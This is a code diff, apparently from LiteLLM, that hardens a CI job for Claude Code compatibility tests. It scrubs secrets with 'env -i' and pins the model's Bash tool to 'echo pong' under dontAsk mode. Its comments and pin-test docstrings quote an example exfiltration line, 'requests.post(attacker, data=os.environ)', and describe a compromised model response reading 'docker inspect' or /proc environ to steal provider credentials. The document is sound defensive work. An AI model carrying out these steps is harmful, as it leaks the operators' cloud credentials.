diff --git a/.circleci/config.yml b/.circleci/config.yml index ce46a59a2d2..71e3636efe9 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -2409,24 +2409,46 @@ jobs: - run: name: Run Claude Code compatibility test suite command: | - export LITELLM_PROXY_BASE_URL="http://localhost:4000" - export LITELLM_PROXY_API_KEY="sk-1234" mkdir -p test-results compat-artifacts - # Point the conftest's tagged-union artifacts at a directory - # we explicitly persist below via store_artifacts. Without - # this override, the conftest defaults to compat-results.json - # / compat-rate-limit-summary.json in the working directory, - # which no CI step collects -- so reviewers can't pull the - # per-cell pass/fail breakdown when a red gate needs triage. - export COMPAT_RESULTS_PATH="$(pwd)/compat-artifacts/compat-results.json" - export COMPAT_RATE_LIMIT_SUMMARY_PATH="$(pwd)/compat-artifacts/compat-rate-limit-summary.json" - uv run --no-sync python -m pytest -vv tests/claude_code/ \ - --ignore=tests/claude_code/_driver_unit_tests \ - --ignore=tests/claude_code/_builder_unit_tests \ - --ignore=tests/claude_code/_publisher_unit_tests \ - --ignore=tests/claude_code/_pr_gate_unit_tests \ - --junitxml=test-results/junit.xml \ - --durations=10 + # The proxy already runs in its own container with the + # provider credentials passed via `docker -e`. Pytest only + # needs to talk to the proxy at localhost:4000 — it has no + # legitimate reason to see ANTHROPIC_API_KEY / AWS_* / + # VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN in its own + # env. Wrap the pytest invocation in `env -i` so PR- + # controlled test code under tests/claude_code/ cannot + # read provider creds out of `os.environ` and exfiltrate + # them via an outbound call from inside a test or + # conftest hook (a sibling vector to the model-controlled + # Bash concern handled separately by the per-cell + # `Bash(echo pong) + dontAsk` restriction). + # + # COMPAT_RESULTS_PATH / COMPAT_RATE_LIMIT_SUMMARY_PATH + # point the conftest's tagged-union artifacts at a + # directory we explicitly persist below via + # store_artifacts; without these overrides the conftest + # writes to the working directory and no CI step collects + # them, so reviewers can't pull the per-cell pass/fail + # breakdown when a red gate needs triage. + env -i \ + PATH="$PATH" \ + HOME="$HOME" \ + USER="${USER:-circleci}" \ + TERM="${TERM:-dumb}" \ + LANG="${LANG:-C.UTF-8}" \ + LC_ALL="${LC_ALL:-}" \ + TMPDIR="${TMPDIR:-/tmp}" \ + LITELLM_PROXY_BASE_URL="http://localhost:4000" \ + LITELLM_PROXY_API_KEY="sk-1234" \ + COMPAT_RESULTS_PATH="$(pwd)/compat-artifacts/compat-results.json" \ + COMPAT_RATE_LIMIT_SUMMARY_PATH="$(pwd)/compat-artifacts/compat-rate-limit-summary.json" \ + uv run --no-sync python -m pytest -vv tests/claude_code/ \ + --ignore=tests/claude_code/_driver_unit_tests \ + --ignore=tests/claude_code/_builder_unit_tests \ + --ignore=tests/claude_code/_publisher_unit_tests \ + --ignore=tests/claude_code/_pr_gate_unit_tests \ + --junitxml=test-results/junit.xml \ + --durations=10 no_output_timeout: 30m # Store test results (JUnit) for CircleCI's test-summary view. diff --git a/tests/claude_code/_pr_gate_unit_tests/test_bash_tool_restrictions.py b/tests/claude_code/_pr_gate_unit_tests/test_bash_tool_restrictions.py new file mode 100644 index 00000000000..456c67c9b48 --- /dev/null +++ b/tests/claude_code/_pr_gate_unit_tests/test_bash_tool_restrictions.py @@ -0,0 +1,98 @@ +"""Pin tests for the `Bash`-using compat cells. + +Every cell that passes `--allowed-tools Bash` to the `claude` CLI is +giving a model-controlled response the ability to run host commands. +On the PR-gate CircleCI machine executor, those commands have access +to the Docker socket and can read `docker inspect compat-proxy` to +recover the provider credentials living inside the proxy container. + +To narrow that surface, every Bash-using cell must: + +1. Restrict the allow rule to the *exact* command `Bash(echo pong)` so + a compromised provider response cannot turn `Bash` into arbitrary + host execution by emitting a `tool_use` with a different command. + +2. Pair it with `--permission-mode dontAsk` so anything not matching + an allow rule is auto-denied instead of prompting (which would + abort the CLI in headless mode, but auto-denial is the explicit + contract). + +These restrictions are enforced by the `claude` CLI, not by the +model — see https://code.claude.com/docs/en/permissions for the +permission-rule precedence (`deny` → `ask` → `allow`). + +This test scans every cell under the three Bash-using feature +directories (`tool_use`, `tool_use_streaming`, `thinking_with_tool_use`) +and pins both requirements so a future test refactor cannot silently +revert any cell to the broad `Bash` allow that was originally +flagged by Veria. +""" + +from __future__ import annotations + +from pathlib import Path +from typing import Iterable + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[3] +CLAUDE_CODE_DIR = REPO_ROOT / "tests" / "claude_code" + +# Feature directories whose cells drive the `Bash` built-in tool. Add +# new entries here when a new Bash-using feature is added; the test +# fails loudly for any unhandled directory so we never miss one by +# silent omission. +BASH_FEATURE_DIRS = ( + "tool_use", + "tool_use_streaming", + "thinking_with_tool_use", +) + + +def _bash_cells() -> Iterable[Path]: + for feature in BASH_FEATURE_DIRS: + feature_dir = CLAUDE_CODE_DIR / feature + assert feature_dir.is_dir(), ( + f"{feature_dir} is missing — BASH_FEATURE_DIRS is out of sync " + f"with the layout under tests/claude_code/." + ) + for path in sorted(feature_dir.glob("test_*.py")): + yield path + + +@pytest.mark.parametrize( + "cell", list(_bash_cells()), ids=lambda p: str(p.relative_to(REPO_ROOT)) +) +def test_bash_allow_rule_is_pinned_to_exact_echo_pong(cell: Path) -> None: + """The cell must pass `Bash(echo pong)` as the allow rule, not the + unrestricted `Bash` value that was originally flagged.""" + text = cell.read_text() + assert '"Bash(echo pong)"' in text, ( + f"{cell.relative_to(REPO_ROOT)} must restrict `--allowed-tools` to " + f'`Bash(echo pong)` (exact-match pattern). Unrestricted `"Bash"` ' + f"grants arbitrary host command execution to model-controlled " + f"tool_use blocks, which can read `docker inspect compat-proxy` " + f"to exfiltrate provider credentials from the proxy container." + ) + assert '"Bash"' not in text or '"Bash(echo pong)"' in text, ( + f"{cell.relative_to(REPO_ROOT)} still references the unrestricted " + f'`"Bash"` value somewhere — sweep it out before merging.' + ) + + +@pytest.mark.parametrize( + "cell", list(_bash_cells()), ids=lambda p: str(p.relative_to(REPO_ROOT)) +) +def test_bash_cell_uses_dontask_permission_mode(cell: Path) -> None: + """The cell must pair the allow rule with `--permission-mode dontAsk` + so tool calls that don't match the allow rule are auto-denied (as + opposed to defaulting to "ask", which in headless mode would + succeed without ever surfacing the security issue).""" + text = cell.read_text() + assert '"--permission-mode"' in text and '"dontAsk"' in text, ( + f"{cell.relative_to(REPO_ROOT)} must pass `--permission-mode dontAsk` " + f"alongside the `Bash(echo pong)` allow rule. Without dontAsk, " + f"commands outside the allow rule fall back to the default ask-" + f"mode behavior, which in `--print` (headless) mode is non-" + f"interactive — defeating the explicit-allow contract." + ) diff --git a/tests/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py b/tests/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py index 72b7a977021..6fd3851f0aa 100644 --- a/tests/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py +++ b/tests/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py @@ -255,6 +255,37 @@ def test_pr_gate_npm_install_step_scrubs_secrets_from_env( ) +def test_pr_gate_pytest_step_scrubs_secrets_from_env( + circleci_config: dict, +) -> None: + """The compat suite under `tests/claude_code/` is PR-controlled code: + a malicious PR could add `requests.post(attacker, data=os.environ)` + to any test or conftest hook and exfiltrate provider creds that + CircleCI injects into every step's env (those creds are what the + proxy container needs via `docker -e`; pytest itself only talks to + the proxy at localhost:4000). + + Pin the `env -i` scrub on the pytest step so the mitigation cannot + silently regress in a future YAML refactor. + """ + job = circleci_config["jobs"][JOB_NAME] + command = _find_step_command(job, "Run Claude Code compatibility test suite") + assert command, "PR gate must have a step that runs the compat suite." + assert "env -i" in command, ( + "The compat-suite pytest step must wrap the pytest invocation in " + "`env -i` so PR-controlled test code cannot read provider secrets " + "from the CircleCI job env." + ) + # The pytest invocation must be downstream of `env -i`. Use `rindex` + # because the surrounding comment block also mentions pytest in prose. + env_i_idx = command.index("env -i") + pytest_idx = command.rindex("uv run --no-sync python -m pytest") + assert env_i_idx < pytest_idx, ( + "`env -i` must precede the pytest invocation; otherwise the " + "test process still sees the unscrubbed env." + ) + + def test_existing_proxy_e2e_anthropic_job_unchanged(circleci_config: dict) -> None: """No regression to the existing `proxy_e2e_anthropic_messages_tests` job (acceptance criterion). We don't lock its full body, but we do diff --git a/tests/claude_code/thinking_with_tool_use/test_anthropic.py b/tests/claude_code/thinking_with_tool_use/test_anthropic.py index 7e4d84218dc..1922a6f8f46 100644 --- a/tests/claude_code/thinking_with_tool_use/test_anthropic.py +++ b/tests/claude_code/thinking_with_tool_use/test_anthropic.py @@ -53,12 +53,22 @@ THINKING_ARGS = ["--effort", "max"] # what command to run before *invoking* the Bash tool. Using a fixed # expected output keeps the assertion focused on the wire shape rather # than on answer quality. +# Prompt fixes the exact bash command to `echo pong`. The thinking +# block is preserved (the model reasons about why `echo pong` works), +# but the executed command is pinned so the cell can run under the +# tight `Bash(echo pong) + dontAsk` permission below — see +# `tool_use/test_anthropic.py` for the full security rationale. THINKING_TOOL_PROMPT = ( - "Think step by step about which shell command would print just the word " - "'pong'. Then use the Bash tool to run that exact command and report what " - "it printed." + "Think step by step about why the command `echo pong` prints just the " + "word 'pong'. Then use the Bash tool to run exactly the command " + "`echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_block_type( diff --git a/tests/claude_code/thinking_with_tool_use/test_azure.py b/tests/claude_code/thinking_with_tool_use/test_azure.py index 0d059133f3d..9898946d047 100644 --- a/tests/claude_code/thinking_with_tool_use/test_azure.py +++ b/tests/claude_code/thinking_with_tool_use/test_azure.py @@ -39,12 +39,19 @@ AZURE_MODELS = [ ] THINKING_ARGS = ["--effort", "max"] +# Prompt + Bash restriction pin the executed command to `echo pong`; +# see `tool_use/test_anthropic.py` for the security rationale. THINKING_TOOL_PROMPT = ( - "Think step by step about which shell command would print just the word " - "'pong'. Then use the Bash tool to run that exact command and report what " - "it printed." + "Think step by step about why the command `echo pong` prints just the " + "word 'pong'. Then use the Bash tool to run exactly the command " + "`echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_block_type( diff --git a/tests/claude_code/thinking_with_tool_use/test_bedrock_converse.py b/tests/claude_code/thinking_with_tool_use/test_bedrock_converse.py index 4d2dc3c29c6..f30938b7b0f 100644 --- a/tests/claude_code/thinking_with_tool_use/test_bedrock_converse.py +++ b/tests/claude_code/thinking_with_tool_use/test_bedrock_converse.py @@ -44,12 +44,19 @@ BEDROCK_CONVERSE_MODELS = [ ] THINKING_ARGS = ["--effort", "max"] +# Prompt + Bash restriction pin the executed command to `echo pong`; +# see `tool_use/test_anthropic.py` for the security rationale. THINKING_TOOL_PROMPT = ( - "Think step by step about which shell command would print just the word " - "'pong'. Then use the Bash tool to run that exact command and report what " - "it printed." + "Think step by step about why the command `echo pong` prints just the " + "word 'pong'. Then use the Bash tool to run exactly the command " + "`echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_block_type( diff --git a/tests/claude_code/thinking_with_tool_use/test_bedrock_invoke.py b/tests/claude_code/thinking_with_tool_use/test_bedrock_invoke.py index 3e10e4ce9c7..7567fc2f397 100644 --- a/tests/claude_code/thinking_with_tool_use/test_bedrock_invoke.py +++ b/tests/claude_code/thinking_with_tool_use/test_bedrock_invoke.py @@ -46,12 +46,19 @@ BEDROCK_INVOKE_MODELS = [ ] THINKING_ARGS = ["--effort", "max"] +# Prompt + Bash restriction pin the executed command to `echo pong`; +# see `tool_use/test_anthropic.py` for the security rationale. THINKING_TOOL_PROMPT = ( - "Think step by step about which shell command would print just the word " - "'pong'. Then use the Bash tool to run that exact command and report what " - "it printed." + "Think step by step about why the command `echo pong` prints just the " + "word 'pong'. Then use the Bash tool to run exactly the command " + "`echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_block_type( diff --git a/tests/claude_code/thinking_with_tool_use/test_vertex_ai.py b/tests/claude_code/thinking_with_tool_use/test_vertex_ai.py index 316c69f0df6..d62a61db631 100644 --- a/tests/claude_code/thinking_with_tool_use/test_vertex_ai.py +++ b/tests/claude_code/thinking_with_tool_use/test_vertex_ai.py @@ -44,12 +44,19 @@ VERTEX_AI_MODELS = [ ] THINKING_ARGS = ["--effort", "max"] +# Prompt + Bash restriction pin the executed command to `echo pong`; +# see `tool_use/test_anthropic.py` for the security rationale. THINKING_TOOL_PROMPT = ( - "Think step by step about which shell command would print just the word " - "'pong'. Then use the Bash tool to run that exact command and report what " - "it printed." + "Think step by step about why the command `echo pong` prints just the " + "word 'pong'. Then use the Bash tool to run exactly the command " + "`echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_block_type( diff --git a/tests/claude_code/tool_use/test_anthropic.py b/tests/claude_code/tool_use/test_anthropic.py index 9ac9ae1da84..02059389f2e 100644 --- a/tests/claude_code/tool_use/test_anthropic.py +++ b/tests/claude_code/tool_use/test_anthropic.py @@ -41,7 +41,20 @@ ANTHROPIC_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Restrict the Bash tool to the exact command `echo pong` and put the +# CLI in `dontAsk` mode so anything else the model returns is auto- +# denied instead of executed. `dontAsk` mode in headless `--print` mode +# only runs tools matching an explicit `allow` rule (plus the built-in +# read-only set), so a compromised provider response cannot turn the +# `Bash` allowlist into arbitrary host execution (which would expose +# `docker inspect compat-proxy` / `/proc//environ` and +# thereby provider credentials living in the proxy container). +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_tool_use_event(events: Sequence[Mapping[str, Any]]) -> bool: diff --git a/tests/claude_code/tool_use/test_azure.py b/tests/claude_code/tool_use/test_azure.py index ab5595c55e2..90c79a35cf4 100644 --- a/tests/claude_code/tool_use/test_azure.py +++ b/tests/claude_code/tool_use/test_azure.py @@ -42,7 +42,15 @@ AZURE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_tool_use_event(events: Sequence[Mapping[str, Any]]) -> bool: diff --git a/tests/claude_code/tool_use/test_bedrock_converse.py b/tests/claude_code/tool_use/test_bedrock_converse.py index 1c9af3ee39b..9a91faa4003 100644 --- a/tests/claude_code/tool_use/test_bedrock_converse.py +++ b/tests/claude_code/tool_use/test_bedrock_converse.py @@ -38,7 +38,15 @@ BEDROCK_CONVERSE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_tool_use_event(events: Sequence[Mapping[str, Any]]) -> bool: diff --git a/tests/claude_code/tool_use/test_bedrock_invoke.py b/tests/claude_code/tool_use/test_bedrock_invoke.py index ab9aa27edcd..4725ae15ce0 100644 --- a/tests/claude_code/tool_use/test_bedrock_invoke.py +++ b/tests/claude_code/tool_use/test_bedrock_invoke.py @@ -38,7 +38,15 @@ BEDROCK_INVOKE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_tool_use_event(events: Sequence[Mapping[str, Any]]) -> bool: diff --git a/tests/claude_code/tool_use/test_vertex_ai.py b/tests/claude_code/tool_use/test_vertex_ai.py index e118bf39dd2..0f038f992db 100644 --- a/tests/claude_code/tool_use/test_vertex_ai.py +++ b/tests/claude_code/tool_use/test_vertex_ai.py @@ -38,7 +38,15 @@ VERTEX_AI_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] def _has_tool_use_event(events: Sequence[Mapping[str, Any]]) -> bool: diff --git a/tests/claude_code/tool_use_streaming/test_anthropic.py b/tests/claude_code/tool_use_streaming/test_anthropic.py index a782d74a7df..f2a54ee6391 100644 --- a/tests/claude_code/tool_use_streaming/test_anthropic.py +++ b/tests/claude_code/tool_use_streaming/test_anthropic.py @@ -53,7 +53,15 @@ ANTHROPIC_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] # Floor on the number of stream-json records we expect to see for a # tool-use turn. A buffered (non-streamed) wire collapses to one diff --git a/tests/claude_code/tool_use_streaming/test_azure.py b/tests/claude_code/tool_use_streaming/test_azure.py index 624a41c8710..d2a0d3d190f 100644 --- a/tests/claude_code/tool_use_streaming/test_azure.py +++ b/tests/claude_code/tool_use_streaming/test_azure.py @@ -40,7 +40,15 @@ AZURE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] MIN_STREAM_EVENTS = 4 diff --git a/tests/claude_code/tool_use_streaming/test_bedrock_converse.py b/tests/claude_code/tool_use_streaming/test_bedrock_converse.py index af41f63031e..1d943a57c80 100644 --- a/tests/claude_code/tool_use_streaming/test_bedrock_converse.py +++ b/tests/claude_code/tool_use_streaming/test_bedrock_converse.py @@ -46,7 +46,15 @@ BEDROCK_CONVERSE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] MIN_STREAM_EVENTS = 4 diff --git a/tests/claude_code/tool_use_streaming/test_bedrock_invoke.py b/tests/claude_code/tool_use_streaming/test_bedrock_invoke.py index 1721ee781b7..eb58373ed4b 100644 --- a/tests/claude_code/tool_use_streaming/test_bedrock_invoke.py +++ b/tests/claude_code/tool_use_streaming/test_bedrock_invoke.py @@ -44,7 +44,15 @@ BEDROCK_INVOKE_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] MIN_STREAM_EVENTS = 4 diff --git a/tests/claude_code/tool_use_streaming/test_vertex_ai.py b/tests/claude_code/tool_use_streaming/test_vertex_ai.py index ddaad111b18..cd63851e86c 100644 --- a/tests/claude_code/tool_use_streaming/test_vertex_ai.py +++ b/tests/claude_code/tool_use_streaming/test_vertex_ai.py @@ -43,7 +43,15 @@ VERTEX_AI_MODELS = [ TOOL_USE_PROMPT = ( "Use the Bash tool to run the command `echo pong` and report what it printed." ) -TOOL_USE_ARGS = ["--allowed-tools", "Bash"] +# Bash is restricted to the exact command `echo pong` + `dontAsk` +# permission mode; see `tool_use/test_anthropic.py` for the security +# rationale. +TOOL_USE_ARGS = [ + "--allowed-tools", + "Bash(echo pong)", + "--permission-mode", + "dontAsk", +] MIN_STREAM_EVENTS = 4